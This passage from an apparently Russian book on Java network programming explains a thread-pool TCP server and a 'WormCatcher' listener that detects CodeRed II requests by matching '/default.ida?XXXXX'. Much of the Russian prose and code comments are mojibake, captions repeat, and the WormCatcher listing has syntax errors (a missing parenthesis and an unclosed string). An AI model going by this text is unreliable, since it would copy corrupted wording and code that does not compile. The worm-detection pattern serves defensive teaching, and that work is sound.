� îáðàáàòûâàòü êàæäîå ïîñòóïàþùåå ñîåäèíåíèå â íîâîì ïîòîêå.

Ïîñëåäîâàòåëüíóþ îáðàáîòêó ëåãêî ðåàëèçîâàòü, ïðåèìóùåñòâîì òàêîãî
ïîäõîäà ÿâëÿåòñÿ íèçêîå ïîòðåáëåíèå ðåñóðñîâ. Íî òàêîå ðåøåíèå ãîäèòñÿ
ëèøü, åñëè ÷èñëî âõîäÿùèõ ñîåäèíåíèé íåâåëèêî è äëÿ îáñëóæèâàíèÿ êàæ-
äîãî çàïðîñà òðåáóåòñÿ ìàëî âðåìåíè.

Îðãàíèçîâàòü îáðàáîòêó TCP-ñîåäèíåíèé â äîïîëíèòåëüíûõ ïîòîêàõ íå-
ñêîëüêî ñëîæíåå, çàòî îáùåå âðåìÿ îáñëóæèâàíèÿ óìåíüøàåòñÿ, è ñåðâåð
ñòàíîâèòñÿ áîëåå ìàñøòàáèðóåìûì ïðè âîçðàñòàíèè ÷èñëà çàïðîñîâ. Ïðàâäà,
òàêîìó ðåøåíèþ ïðèñóùè íàêëàäíûå ðàñõîäû íà ñîçäàíèå íîâûõ ïîòîêîâ.
Â çàâèñèìîñòè îò òðåáîâàíèé, ïðåäúÿâëÿåìûõ ê ïîòðåáëåíèþ ðåñóðñîâ è
ïðîèçâîäèòåëüíîñòè, ìîæíî ïðèìåíèòü ðàçíûå ïîäõîäû.

Îäèí èç âàðèàíòîâ – ñòàâèòü íîâûå âõîäÿùèå ñîåäèíåíèÿ â î÷åðåäü. Çàòåì
îíè áóäóò áðàòüñÿ èç î÷åðåäè è îáðàáàòûâàòüñÿ â îòäåëüíîì ïîòîêå. Òàêèì
îáðàçîì, ïîòîê, êîòîðûé îòâå÷àåò çà ïðèåì çàïðîñîâ íà ñîåäèíåíèå ñ ñåðâåð-
íûì ñîêåòîì, îñâîáîæäàåòñÿ îò îáÿçàííîñòåé îáðàáàòûâàòü çàïðîñû. Íåäî-

Рис. 5.1. Рис. 5.1. Рис. 5.1. Рис. 5.1. Рис. 5.1. Ответ от сервера TCPServer1 в окне браузера
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ñòàòîê ýòîãî ðåøåíèÿ â òîì, ÷òî çàïðîñû ìîãóò ïîìåùàòüñÿ â î÷åðåäü áûñò-
ðåå, ÷åì ñåðâåð ñïîñîáåí èõ îáðàáîòàòü, òîãäà î÷åðåäü áóäåò íåîãðàíè÷åííî
ðàñòè, ÷òî ïðèâåäåò ê ïîâûøåííîìó ðàñõîäó ïàìÿòè è ñíèæåíèþ âðåìåíè
ðåàêöèè.

Äðóãîé âàðèàíò – ñîçäàâàòü íîâûé ïîòîê äëÿ êàæäîãî âõîäÿùåãî ñîåäèíå-
íèÿ. Åãî äîñòîèíñòâî – áûñòðàÿ îáðàáîòêà çàïðîñà. Íî ïðè ýòîì ïðèõîäèòñÿ
÷àñòî ñîçäàâàòü è óíè÷òîæàòü ïîòîêè, äëÿ ÷åãî òðåáóåòñÿ êîíòåêñòíîå ïåðå-
êëþ÷åíèå è, ñëåäîâàòåëüíî, ïðîöåññîðíîå âðåìÿ.

Åùå îäèí âàðèàíò – ýòî êîìáèíàöèÿ äâóõ ïðåäûäóùèõ. Èäåÿ â òîì, ÷òîáû
îðãàíèçîâàòü ïóë ïîòîêîâ äëÿ îáðàáîòêè çàïðîñîâ. Åùå äî ïðèåìà ïåðâîãî
ñîåäèíåíèÿ ìû ñîçäàåì íåñêîëüêî ïîòîêîâ (ðèñ. 5.2). Êàæäûé èç íèõ ñëåäèò
çà ñîñòîÿíèåì î÷åðåäè âõîäÿùèõ ñîåäèíåíèé. Ïðèíÿâ íîâîå ñîåäèíåíèå, ñåð-
âåð ïîìåùàåò îáúåêòû êëàññà Socket â î÷åðåäü. Îäèí èç ñâîáîäíûõ ïîòîêîâ
â ïóëå èçâëåêàåò îáúåêò èç î÷åðåäè è îáðàáàòûâàåò çàïðîñ. Ïî çàâåðøåíèè
îáðàáîòêè îáúåêò óíè÷òîæàåòñÿ, è ïîòîê âîçîáíîâëÿåò ìîíèòîðèíã î÷åðåäè.
Ïðè òàêîì ïîäõîäå ðåàëèçóåòñÿ áûñòðàÿ, ïàðàëëåëüíàÿ îáðàáîòêà çàïðîñîâ è
âìåñòå ñ òåì óäàåòñÿ èçáåæàòü íàêëàäíûõ ðàñõîäîâ íà ñîçäàíèå è óíè÷òîæå-
íèå ïîòîêîâ. Êðîìå òîãî, â ïóë ìîæíî äîáàâëÿòü ïîòîêè ïî ìåðå âîçðàñòà-
íèÿ íàãðóçêè è óäàëÿòü èõ, êîãäà íàãðóçêà ñíèæàåòñÿ. Ýòà ñõåìà ðåàëèçîâàíà âî
ìíîãèõ êîììåð÷åñêèõ è áåñïëàòíûõ ñèñòåìàõ ðàáîòû ñ Java-ñåðâëåòàìè è JSP-
ñöåíàðèÿìè.

Â ïðèìåðå 5.6 ïðèâåäåíà ïðîñòàÿ ðåàëèçàöèÿ TCP-ñåðâåðà, êîòîðûé ïàðàë-
ëåëüíî îáðàáàòûâàåò ïðèõîäÿùèå îò êëèåíòîâ çàïðîñû ñ ïîìîùüþ ïóëà ïî-
òîêîâ â ñîîòâåòñòâèè ñ ïðèâåäåííîé âûøå äèàãðàììîé.

Рис. 5.2. Рис. 5.2. Рис. 5.2. Рис. 5.2. Рис. 5.2. Применение пула потоков для обработки объектов Socket,
стоящих в очереди
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Пример 5.6. Пример 5.6. Пример 5.6. Пример 5.6. Пример 5.6. Параллельная обработка запросов с помощью пула потоков
(TCPServer2.java)
 1 /*

 2  * TCPServer2.java

 3  *

 4  * Ïðîãðàììà ñîçäàåò ñåðâåðíûé TCP-ñîêåò, ïðèâÿçûâàåò åãî ê ïîðòó,

 5  * îæèäàåò çàïðîñà ïî ïðîòîêîëó HTTP,  ïå÷àòàåò åãî è ïîñûëàåò

 6  * îòâåò. Çàïðîñû îáðàáàòûâàþòñÿ â îòäåëüíûõ ïîòîêàõ,

 7  * îðãàíèçîâàííûõ â ïóë.

 8  *

 9  *

10  * Ïîðÿäîê çàïóñêà:

11  *

12  * java TCPServer2 <local_port>

13  *

14  *

15  */

16
17 import java.io.*  ;

18 import java.net.* ;

19 import java.util.*;

20
21 public class TCPServer2

22 {

23   public static void main(String[] args)

24   {

25     ServerSocket  serv  = null;

26     ThreadPool tpool = null;

27     Socket     clnt  = null;

28     String     tmp   = null;

29     int        port  = 0;

30
31     if(args.length != 1)

32     {

33       System.err.println("usage: java TCPServer2 " +

34                          " <local_port>");

35       System.err.println("Ïðèìåð: java TCPServer2" +

36                          " 80");

37       System.exit(1);

38     }

39
40     tmp = args[0];

41
42     try

43     {

44       // ïðåîáðàçîâàòü íîìåð ïîðòà â ÷èñëîâîå çíà÷åíèå

45       port  = Integer.parseInt(tmp);

46
47       // ñîçäàòü ïóë ïîòîêîâ
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48       tpool = new ThreadPool(5);

49
50       // ñîçäàòü ñîêåò, ïðèâÿçàòü åãî è íà÷àòü ïðîñëóøèâàòü ïîðò

51       serv = new ServerSocket(port);

52
53       System.out.println("*** ïðîñëóøèâàåòñÿ ïîðò "

54                          + port);

55
56
57       while(true)

58       {

59         // ïðèíÿòü çàïðîñ íà íîâîå ñîåäèíåíèå

60         clnt = serv.accept();

61
62         // ïîñòàâèòü çàïðîñ â î÷åðåäü

63         tpool.add(clnt);

64       }

65     }

66     catch (NumberFormatException nfe)

67     {

68       // íå÷èñëîâîå çíà÷åíèå íîìåðà ïîðòà?

69       System.err.println("NumberFormatException: " +

70       nfe.getMessage());

71     }

72     catch(IOException ioe)

73     {

74       // îøèáêà ïðè ðàáîòå ñ ñîêåòîì?

75       System.err.println("IOException: "

76                         + ioe.getMessage());

77     }

78   }

79 }

80
81 class ThreadPool

82 {

83   private Vector m_queue = new Vector();

84
85   public ThreadPool (int thread_count)

86   {

87     WorkerThread wt = null;

88     int          x  = 0;

89
90     for(x=0; x < thread_count; ++x)

91     {

92       wt = new WorkerThread(m_queue);

93       wt.start();

94     }

95   }

96
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 97  public void add(Object object)
 98  {
 99    // áåçîïàñíûé ïî îòíîøåíèþ ê ïîòîêàì äîñòóï ê î÷åðåäè
100    synchronized(m_queue)
101    {
102      m_queue.add(object);
103    }
104  }
105}
106
107 class WorkerThread
108   extends Thread
109 {
110   private Vector m_queue = null;
111
112   public WorkerThread(Vector queue)
113   {
114     m_queue = queue;
115   }
116
117   public void run ()

118   {
119     InputStreamReader  isr  = null;
120     LineNumberReader   lnr  = null;
121     OutputStream       os   = null;
122     InputStream        is   = null;
123     Socket             clnt = null;
124     String             send = null;
125     String             tmp  = null;
126     int                x    = 0;
127
128     System.out.println("*** ðàáî÷èé ïîòîê çàïóùåí.");
129
130     while(true)
131     {
132       // áåçîïàñíûé ïî îòíîøåíèþ ê ïîòîêàì äîñòóï ê î÷åðåäè
133       synchronized(m_queue)
134       {
135         if(m_queue.size() > 0)
136         {
137           clnt = (Socket)m_queue.remove(0);
138         }
139       }
140
141       // íîâûé çàïðîñ!
142       if(clnt != null)
143       {
144         try
145         {
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146           // ïîëó÷èòü âõîäíîé ïîòîê äëÿ ñîåäèíåíèÿ
147           // è íàäñòðîèòü íàä íèì îáúåêò LineNumberReader
148           is  = clnt.getInputStream();
149           isr = new InputStreamReader(is );
150           lnr = new LineNumberReader(isr);
151
152           // ïðî÷èòàòü è ðàñïå÷àòàòü çàïðîñ
153           x = 0;
154           while((tmp = lnr.readLine())
155                   != null)
156           {
157             System.out.println(x + ") "
158                                  + tmp);
159
160             if(tmp.length() == 0)
161             {
162               // îáðàáîòàòü ïóñòóþ ñòðîêó, ñëóæàùóþ ðàçãðàíè÷èòåëåì
163               break;
164             }
165           }
166
167           // ñêîíñòðóèðîâàòü îòâåò ïî ïðîòîêîëó HTTP 1.0
168           // (íåìíîãî ôîðìàòèðîâàíèÿ)..
169           send = "HTTP/1.0 200 OK\r\n\r\n"
170                 +"<HTML><BODY BGCOLOR=#D0D0D0>"
171                 +"<BR><BR><CENTER><FONT FACE=Arial"
172                 +"SIZE=1 COLOR=#0000CC><B>&gt;"
173                 +"&gt; TCPServer2 &lt;&lt;</B>"
174                 +"</FONT></CENTER></BODY></HTML>";
175
176           // ïîëó÷èòü ïîòîê âûâîäà
177           os = clnt.getOutputStream();
178
179           // îòïðàâèòü îòâåò
180           os.write(send.getBytes());
181         }
182         catch(Throwable t)
183         {
184           // ïåðåõâàòèòü ëþáûå èñêëþ÷åíèÿ,
185           // íå äàâ èì ðàñïðîñòðàíèòüñÿ äàëüøå,
186           // ÷òî ìîãëî áû ïðèâåñòè ê àâàðèéíîìó
187           // çàâåðøåíèþ ðàáî÷åãî ïîòîêà
188
189           System.err.println("Throwable: "
190                            + t.getClass().getName()
191                            + " : " + t.getMessage());
192         }
193
194         // çàêðûòü ñîåäèíåíèå ñ êëèåíòîì
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195         try
196         {
197           clnt.close();
198         }
199         catch (Throwable t)
200         {
201           System.err.println("IOException: "
202                            + t.getClass().getName()
203                            + " : " + t.getMessage());
204         }
205         finally
206         {
207           clnt = null;
208         }
209       }
210
211       // áóäåì ìèëîñåðäíû ê ïðîöåññîðó
212       try
213       {
214         Thread.sleep(10);
215       }
216       catch(InterruptedException ie)
217       {
218       }
219
220       // ïðîäîëæèòü ìîíèòîðèíã î÷åðåäè...
221     }
222   }
223 }

ÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿÊîìïèëÿöèÿ
C:\> j2sdk1.4.1_02\bin\javac.exe TCPServer2.java

C:\> dir
.
.
TCPServer2.class
ThreadPool.class
WorkerThread.class
.
.

Ïðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿÏðèìåð âûïîëíåíèÿ
C:\> j2sdk1.4.1_02\bin\java.exe TCPServer2

usage: java TCPServer2 <local_port>
Ïðèìåð: java TCPServer2 80

*** ïðîñëóøèâàåòñÿ ïîðò 80
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*** ðàáî÷èé ïîòîê çàïóùåí.
*** ðàáî÷èé ïîòîê çàïóùåí.
*** ðàáî÷èé ïîòîê çàïóùåí.
*** ðàáî÷èé ïîòîê çàïóùåí.
*** ðàáî÷èé ïîòîê çàïóùåí.
0) GET / HTTP/1.1
0) Accept-Language: en-us
0) Accept-Encoding: gzip, deflate
0) User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
0) Host: 127.0.0.1
0) Connection: Keep-Alive
0)

Â ïðèìåðå 5.5 ìû ñîçäàåì ñåðâåðíûé ñîêåò, ïðèâÿçûâàåì åãî ê ïîðòó, çà-
äàííîìó â êîìàíäíîé ñòðîêå, è èñïîëüçóåì äëÿ ïðèåìà âõîäÿùèõ ñîåäèíåíèé.
Íîâûå âõîäÿùèå ñîåäèíåíèÿ ïîìåùàþòñÿ â î÷åðåäü, çà ñîñòîÿíèåì êîòîðîé
ñëåäèò ïóë ïîòîêîâ. Îäèí èç ðàáî÷èõ ïîòîêîâ èçâëåêàåò ñîåäèíåíèå è îáðàáà-
òûâàåò åãî, òî åñòü ñ÷èòûâàåò ïðèøåäøèé çàïðîñ è îòïðàâëÿåò îòâåò ïî ïðî-
òîêîëó HTTP 1.0.

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 31–40 îáðàáàòûâàþòñÿ àðãóìåíòû, çàäàííûå â êîìàíäíîé

ñòðîêå.
� Â ñòðîêå 45 íîìåð ïîðòà ïðåîáðàçóåòñÿ â ÷èñëîâîå çíà÷åíèå ìåòîäîì

parseInt() êëàññà Integer.
� Â ñòðîêå 48 ñîçäàåòñÿ îáúåêò êëàññà ThreadPool. Åãî êîíñòðóêòîðó ïåðå-

äàåòñÿ çíà÷åíèå 5, ýòî ÷èñëî ðàáî÷èõ ïîòîêîâ â ïóëå.
� Â ñòðîêå 51 ñîçäàåòñÿ ñåðâåðíûé ñîêåò – îáúåêò êëàññà ServerSocket, êîòî-

ðûé ïðèâÿçûâàåòñÿ ê óêàçàííîìó ïîðòó è ïåðåâîäèòñÿ â ðåæèì îæèäà-
íèÿ íîâûõ ñîåäèíåíèé.

� Â ñòðîêàõ 57–64 íàõîäèòñÿ öèêë, â êîòîðîì ñåðâåð ïðèíèìàåò íîâûå
ñîåäèíåíèÿ è ïîìåùàåò îáúåêòû Socket â î÷åðåäü ê ïóëó ïîòîêîâ.

� Â ñòðîêå 66 îáðàáàòûâàåòñÿ èñêëþ÷åíèå òèïà NumberFormatException,
êîòîðîå âîçíèêàåò, êîãäà â êîìàíäíîé ñòðîêå çàäàí íåêîððåêòíûé íî-
ìåð ïîðòà.

� Â ñòðîêå 72 îáðàáàòûâàåòñÿ èñêëþ÷åíèå òèïà IOException, âîçáóæäàå-
ìîå â ñëó÷àå âîçíèêíîâåíèÿ îøèáêè ïðè ðàáîòå ñ ñîåäèíåíèåì êàê ìå-
òîäàìè êëàññà Socket, òàê è ìåòîäàìè êëàññà ServerSocket.

� Â ñòðîêå 81 íà÷èíàåòñÿ îáúÿâëåíèå êëàññà ThreadPool.
� Â ñòðîêå 83 îáúÿâëåíà çàêðûòàÿ ïåðåìåííàÿ ýêçåìïëÿðà m_queue òèïà

java.util.Vector. Âåêòîð – ýòî ïðîñòàÿ ñòðóêòóðà, àíàëîãè÷íàÿ ìàññèâó,
íî ñïîñîáíàÿ õðàíèòü íåîãðàíè÷åííîå ÷èñëî ýëåìåíòîâ. Äëÿ äîñòóïà
ê ýëåìåíòó íàäî ïåðåäàòü åãî öåëî÷èñëåííûé èíäåêñ ìåòîäó get() èëè
remove().
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� Â ñòðîêå 85 îáúÿâëåí åäèíñòâåííûé êîíñòðóêòîð êëàññà ThreadPool. Îí
ïðèíèìàåò îäèí öåëî÷èñëåííûé àðãóìåíò thread_count, îïðåäåëÿþùèé,
ñêîëüêî ïîòîêîâ äîëæíî áûòü â ïóëå.

� Â ñòðîêàõ 90–93 ñîçäàþòñÿ thread_count ðàáî÷èõ ïîòîêîâ, òî åñòü îáúåê-
òîâ êëàññà WorkerThread. Êîíñòðóêòîðó êàæäîãî îáúåêòà WorkerThread
ïåðåäàåòñÿ ññûëêà íà âåêòîð m_queue. Ðàáî÷èå ïîòîêè ñëåäÿò çà ïîÿâëå-
íèåì íîâûõ ýëåìåíòîâ â î÷åðåäè.

� Â ñòðîêàõ 97–104 îáúÿâëåí ìåòîä add() êëàññà ThreadPool, êîòîðûé ïðèíè-
ìàåò ññûëêó íà îáúåêò Socket. Ýòà ññûëêà ïîìåùàåòñÿ â êîíåö âåêòîðà
m_queue. Äîñòóï ê m_queue ñèíõðîíèçîâàí ñ ïîìîùüþ ïðåäëîæåíèÿ
synchronized, âñòðîåííîãî â ÿçûê Java. Ñèíõðîíèçàöèÿ íåîáõîäèìà äëÿ êî-
îðäèíàöèè äîñòóïà ê î÷åðåäè ñî ñòîðîíû îñíîâíîãî è ðàáî÷èõ ïîòîêîâ.

� Â ñòðîêàõ 107–108 íà÷èíàåòñÿ îáúÿâëåíèå êëàññà WorkerThread, ðàñøè-
ðÿþùåãî êëàññ java.lang.Thread. WorkerThread äîëæåí ðàñøèðÿòü ýòîò
êëàññ, ÷òîáû îáðàáîòêà çàïðîñà ïðîèñõîäèëà â îòäåëüíîì ïîòîêå.

� Â ñòðîêå 110 îáúÿâëåíà çàêðûòàÿ ïåðåìåííàÿ ýêçåìïëÿðà m_queue. Ýòî
ññûëêà íà âåêòîð m_queue, êîòîðûé õðàíèòñÿ â îáúåêòå ThreadPool è ïå-
ðåäàåòñÿ êîíñòðóêòîðó WorkerThread.

� Â ñòðîêàõ 112–115 îáúÿâëåí êîíñòðóêòîð êëàññà WorkerThread. Îí ïðè-
íèìàåò åäèíñòâåííûé àðãóìåíò – ññûëêó íà îáúåêò êëàññà java.util.Vector.
Âñå ðàáî÷èå ïîòîêè ñëåäÿò çà ïîÿâëåíèåì â ýòîì âåêòîðå íîâûõ îáúåê-
òîâ Socket.

� Â ñòðîêå 117 îáúÿâëåí ìåòîä run() êëàññà WorkerThread, êîòîðûé íå-
îáõîäèìî ðåàëèçîâàòü â ëþáîì êîíêðåòíîì (òî åñòü íå àáñòðàêò-
íîì) ïîäêëàññå êëàññà java.lang.Thread. ×òîáû îáúåêò WorkerThread
ðàáîòàë â îòäåëüíîì ïîòîêå, íóæíî âûçâàòü ìåòîä start() åãî ñóïåð-
êëàññà java.lang.Thread, à òîò â ñâîþ î÷åðåäü âûçîâåò ðåàëèçàöèþ ìåòîäà
run() èç ïîäêëàññà.

� Â ñòðîêàõ 119–126 îáúÿâëåíû íåîáõîäèìûå ëîêàëüíûå ïåðåìåííûå.
� Â ñòðîêå 128 íà stdout âûâîäèòñÿ ñîîáùåíèå î òîì, ÷òî ïîòîê çàïóùåí.
� Â ñòðîêå 130 îáúåêò WorkerThread íà÷èíàåò öèêë, â êîòîðîì ïðîâåðÿåò-

ñÿ ñîñòîÿíèå âåêòîðà m_queue. Êàê òîëüêî â íåì ïîÿâèòñÿ íîâûé îáúåêò
Socket, îí óäàëÿåòñÿ èç î÷åðåäè è îáðàáàòûâàåòñÿ òàê æå, êàê â ïðåä-
ñòàâëåííîé ðàíåå ïðîãðàììå TCPServer1.

� Â ñòðîêàõ 133–139 îðãàíèçóåòñÿ ñèíõðîíèçèðîâàííûé äîñòóï ê âåêòîðó
m_queue íà ïðåäìåò âûÿñíåíèÿ òîãî, íå ïîÿâèëîñü ëè â íåì íîâûõ ýëå-
ìåíòîâ. Åñëè ðàçìåð âåêòîðà áîëüøå íóëÿ, òî ïåðâûé ýëåìåíò óäàëÿåò-
ñÿ, äëÿ ÷åãî âûçûâàåòñÿ ìåòîä remove() ñ ïàðàìåòðîì 0 (èíäåêñ ïåðâîãî
ýëåìåíòà). Ýòî äîïóñòèìî, òàê êàê åñëè ðàçìåð âåêòîðà áîëüøå íóëÿ,
òî â íåì çàâåäîìî åñòü ýëåìåíò ñ èíäåêñîì 0.

� Â ñòðîêå 142 ïðîâåðÿåòñÿ ññûëêà clnt íà îáúåêò êëàññà Socket. Åñëè îíà
ðàâíà null, òî èç âåêòîðà m_queue íå áûë èçâëå÷åí îáúåêò, òàê ÷òî îáðà-
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áàòûâàòü íå÷åãî. Â ïðîòèâíîì ñëó÷àå ýòî ññûëêà íà êëèåíòñêèé ñîêåò,
ñ êîòîðûì ìîæíî íà÷àòü ðàáîòó.

� Â ñòðîêàõ 148–150 ìû ïîëó÷àåì ïîòîê ââîäà InputStream è íàäñòðàèâà-
åì íàä íèì îáúåêò êëàññà LineNumberReader.

� Â ñòðîêàõ 153–165 çàïðîñ îò êëèåíòà ñ÷èòûâàåòñÿ ïîñòðî÷íî ñ ïîìîùüþ
îáúåêòà LineNumberReader, ïðî÷èòàííûå ñòðîêè âûâîäÿòñÿ íà stdout.

� Â ñòðîêàõ 169–174 â ïåðåìåííîé send êîíñòðóèðóåòñÿ îòâåò ïî ïðîòîêî-
ëó HTTP 1.0.

� Â ñòðîêå 177 ìû ïîëó÷àåì ïîòîê âûâîäà OutputStream.
� Â ñòðîêå 180 ïåðåìåííàÿ send ïðåîáðàçóåòñÿ â ìàññèâ áàéòîâ ñ ïîìî-

ùüþ ìåòîäà getBytes() êëàññà String, è ýòîò ìàññèâ îòïðàâëÿåòñÿ êëèåíòó
ìåòîäîì write() êëàññà OutputStream.

� Â ñòðîêå 182 îáðàáàòûâàåòñÿ èñêëþ÷åíèå òèïà Throwable. Â ÿçûêå Java
ýòîò êëàññ ÿâëÿåòñÿ áàçîâûì äëÿ êëàññîâ Error è Exception. Ìû ïåðåõâà-
òûâàåì èñêëþ÷åíèÿ èìåííî ýòîãî, à íå áîëåå ñïåöèôè÷íîãî êëàññà
IOException, ÷òîáû íåîæèäàííûå èñêëþ÷åíèÿ èëè îøèáêè íå âûøëè çà
ïðåäåëû ìåòîäû run(), ÷òî ïðèâåëî áû ê çàâåðøåíèþ ðàáî÷åãî ïîòîêà
ñòàíäàðòíûì îáðàáîò÷èêîì èñêëþ÷åíèé.

� Â ñòðîêå 197 ñîåäèíåíèå ñ êëèåíòîì clnt çàêðûâàåòñÿ ìåòîäîì close()
êëàññà Socket.

� Â ñòðîêå 199 â áëîêå try-catch ñíîâà ïåðåõâàòûâàþòñÿ âñå îáúåêòû êëàññà
Throwable ïî òåì æå ïðè÷èíàì, ÷òî è âûøå.

� Â ñòðîêå 205 â ïðåäëîæåíèè finally ãîâîðèòñÿ, ÷òî ïîñëå çàêðûòèÿ ñî-
åäèíåíèÿ ïåðåìåííîé clnt ñëåäóåò ïðèñâîèòü çíà÷åíèå null. Òåì ñàìûì
ïðîâåðêà â ñòðîêå 142 íå çàâåðøèòñÿ óñïåøíî, åñëè èç î÷åðåäè íå áûë
èçâëå÷åí êîððåêòíûé îáúåêò êëàññà Socket.

� Â ñòðîêå 214 âûçûâàåòñÿ ìåòîä sleep() êëàññà java.lang.Thread, ÷òîáû äàòü
ïðîöåññîðó çàíÿòüñÿ äðóãèìè çàäà÷àìè. Åñëè ýòîãî íå ñäåëàòü, òî ðàáî-
÷èå ïîòîêè áóäóò «êðóòèòüñÿ» â öèêëå ñ ìàêñèìàëüíî âîçìîæíîé ñêî-
ðîñòüþ, ïîòðåáëÿÿ ìíîãî ïðîöåññîðíîãî âðåìåíè.

Â ýòîì ðàçäåëå ìû ïîêàçàëè êàê ïðèìåíÿòü êëàññ ServerSocket äëÿ ñîçäàíèÿ
ñåðâåðíîãî TCP-ñîêåòà è ïðèåìà âõîäÿùèõ ñîåäèíåíèé. Ìû òàêæå ïîçíàêî-
ìèëèñü ñ ïðîñòûì ïîñëåäîâàòåëüíûì è áîëåå ñëîæíûì ìíîãîïîòî÷íûì ìå-
òîäàìè îáðàáîòêè çàïðîñîâ îò êëèåíòîâ. Òåïåðü ìû ãîòîâû ïðèìåíèòü ïîëó-
÷åííûå çíàíèÿ ê íàïèñàíèþ õàêåðñêîãî êîäà.

Программа WormCatcher

Ïðåäñòàâëåííàÿ íèæå ïðîãðàììà ïîëåçíà äëÿ äåìîíñòðàöèè òîãî, êàê èñ-
ïîëüçîâàòü ïðîãðàììíûå èíòåðôåéñû, èìåþùèåñÿ â ïàêåòå java.net. Ïðè-
åìû, ðàññìîòðåííûå â ïðåäøåñòâóþùèõ ðàçäåëàõ, ïðèìåíÿþòñÿ äëÿ ñîçäà-
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íèÿ õîòÿ è ïðîñòîé, íî ôóíêöèîíàëüíîé ïðîãðàììû WormCatcher («ëîâåö
÷åðâåé»).

Â ïðîãðàììå WormCatcher (ïðèìåð 5.7) äëÿ ïðèåìà âõîäÿùèõ ñîåäèíåíèé
èñïîëüçóåòñÿ êëàññ ServerSocket. Äëÿ îáðàáîòêè çàïðîñîâ îò êëèåíòîâ ïðèìå-
íÿåòñÿ ïóë ïîòîêîâ. Ñìûñë îáðàáîòêè ñîñòîèò â ïðîâåðêå íàëè÷èÿ â çàïðîñå
ñèãíàòóðû ÷åðâÿ CodeRedII. Åñëè ÷åðâü îáíàðóæåí, íà stdout âûâîäèòñÿ ñîîá-
ùåíèå, ñîäåðæàùåå IP-àäðåñ è ïîðò êëèåíòà.

Äëÿ ðåàëèçàöèè ïðîãðàììû WormCatcher ìû ïåðåðàáîòàåì êëàññ WorkerThread
èç ïðèìåðà 5.6. Çàîäíî èçìåíèì èìÿ ãëàâíîãî êëàññà íà WormCatcher è ñîõðà-
íèì åãî êîä â ôàéëå WormCatcher.java.

Пример 5.7. Пример 5.7. Пример 5.7. Пример 5.7. Пример 5.7. Класс WorkerThread для программы WormCatcher
 1 class WorkerThread

 2    extends Thread

 3 {

 4   Vector m_queue = null;

 5
 6   public WorkerThread(Vector queue)

 7   {

 8     m_queue = queue;

 9   }

10
11   public void run ()

12   {

13     InetSocketAddress rsa  = null;

14     InputStreamReader isr  = null;

15     LineNumberReader lnr  = null;

16     OutputStream os   = null;

17     InputStream is   = null;

18     InetAddress ria  = null;

19     boolean iscr = false;

20     Socket clnt = null;

21     String send = null;

22     String tmp  = null;

23     int rp   = 0;

24     int x    = 0;

25
26     System.out.println("*** ðàáî÷èé ïîòîê çàïóùåí.");

27
28     while(true)

29     {

30       // áåçîïàñíûé ïî îòíîøåíèþ ê ïîòîêàì äîñòóï ê î÷åðåäè

31       synchronized(m_queue)

32       {

33         if(m_queue.size() > 0)

34         {

35           clnt = (Socket)m_queue.remove(0);
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36         }

37       }

38
39       // íîâûé çàïðîñ!

40       if(clnt != null)

41       {

42         try

43         {

44           // ðàñïå÷àòàòü èíôîðìàöèþ î

45           // íîâîì ñîåäèíåíèè

46           System.out.println("*** íîâîå TCP-ñîåäèíåíèå" +

47                              " ñ êëèåíòîì.");

48
49           // íàäñòðîèòü íàä ïîòîêîì ââîäà InputStream

50           // îáúåêò LineNumberReader

51           is  = clnt.getInputStream  ();

52           isr = new InputStreamReader(is);

53           lnr = new LineNumberReader (isr);

54
55           // ïðî÷èòàòü è ðàñïå÷àòàòü çàïðîñ

56           x    = 0;

57           iscr = false;

58           while((tmp = lnr.readLine())

59                 != null)

60           {

61             System.out.println(x++ + ") " + tmp);

62
63
64             if(tmp.length() == 0)

65             {

66               // ïóñòàÿ ñòðîêà – ðàçãðàíè÷èòåëü

67               break;

68             }

69
70             // çàïðîñ ïîõîæ íà CodeRed?

71             if(tmp.indexOf("/default.ida?XXXXX") > 0)

72             {

73               iscr = true;

74             }

75           }

76
77           // Ýòî CodeRed (îäèí èç âàðèàíòîâ)

78           if(iscr == true)

79           {

80             // ïîëó÷èòü èíôîðìàöèþ îá óäàëåííîì õîñòå

81             // è âûâåñòè åå íà êîíñîëü...

82             rsa = (InetSocketAddress) clnt.getRemoteSocketAddress();

83
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 84             ria = rsa.getAddress();

 85            rp  = rsa.getPort   ();
 86
 87            System.out.println("*** Îáíàðóæåí çàïðîñ îò CodeRed!!!"
 88            System.out.println("Àäðåñ îòïðàâèòåëÿ: " + ria);
 89            System.out.println("Ïîðò îòïðàâèòåëÿ: " + rp );
 90          }
 91          // Ýòî íå CodeRed..
 92          else
 93          {
 94            // ñêîíñòðóèðîâàòü îòâåò ïî ïðîòîêîëó HTTP 1.0
 95            // (íåìíîãî ôîðìàòèðîâàíèÿ)
 96            send = "HTTP/1.0"
 97                 + " 200 OK\r\n\r\n"
 98                 + "<HTML><BODY "
 99                 + "BGCOLOR=#d0d0d0>"
100                 + "<BR><BR><CENTER>"
101                 + "<FONT FACE=Verdana "
102                 + "SIZE=1 COLOR=#0000AA
103                 + "><B>..:: "
104                 + "WormCatcher ::.."
105                 + "</B></FONT>"
106                 + "</CENTER></BODY>"
107                 + "</HTML>";
108
109                 // ïîëó÷èòü ïîòîê âûâîäà äëÿ TCP-êëèåíòà
110                 os = clnt.getOutputStream();
111
112                 // îòïðàâèòü îòâåò ïî ïðîòîêîëó HTTP 1.0
113                 os.write(send.getBytes());
114          }
115
116          // çàêðûòü ñîåäèíåíèå ñ êëèåíòîì
117          clnt.close();
118        }
119        catch(Throwable t)
120        {
121           // ïåðåõâàòèòü ëþáûå èñêëþ÷åíèÿ,
122           // íå äàâ èì ðàñïðîñòðàíèòüñÿ äàëüøå,
123           // ÷òî ìîãëî áû ïðèâåñòè ê àâàðèéíîìó
124           // çàâåðøåíèþ ðàáî÷åãî ïîòîêà
125           System.err.println("Throwable: "
126                            + t.getClass().getName()
127                            + " : " + t.getMessage());
128        }
129
130        // çàêðûòü ñîåäèíåíèå ñ êëèåíòîì
131        try
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132        {
133          clnt.close();
134          clnt = null ;
135        }
136        catch (IOException ioe)
137        {
138          System.err.println("IOException: "
139                           + ioe.getMessage());
140        }
141      }
142
143      // áóäåì ìèëîñåðäíû ê ïðîöåññîðó
144      try
145      {
146        Thread.sleep(10);
147      }
148      catch(InterruptedException ie)
149      {
150      }
151
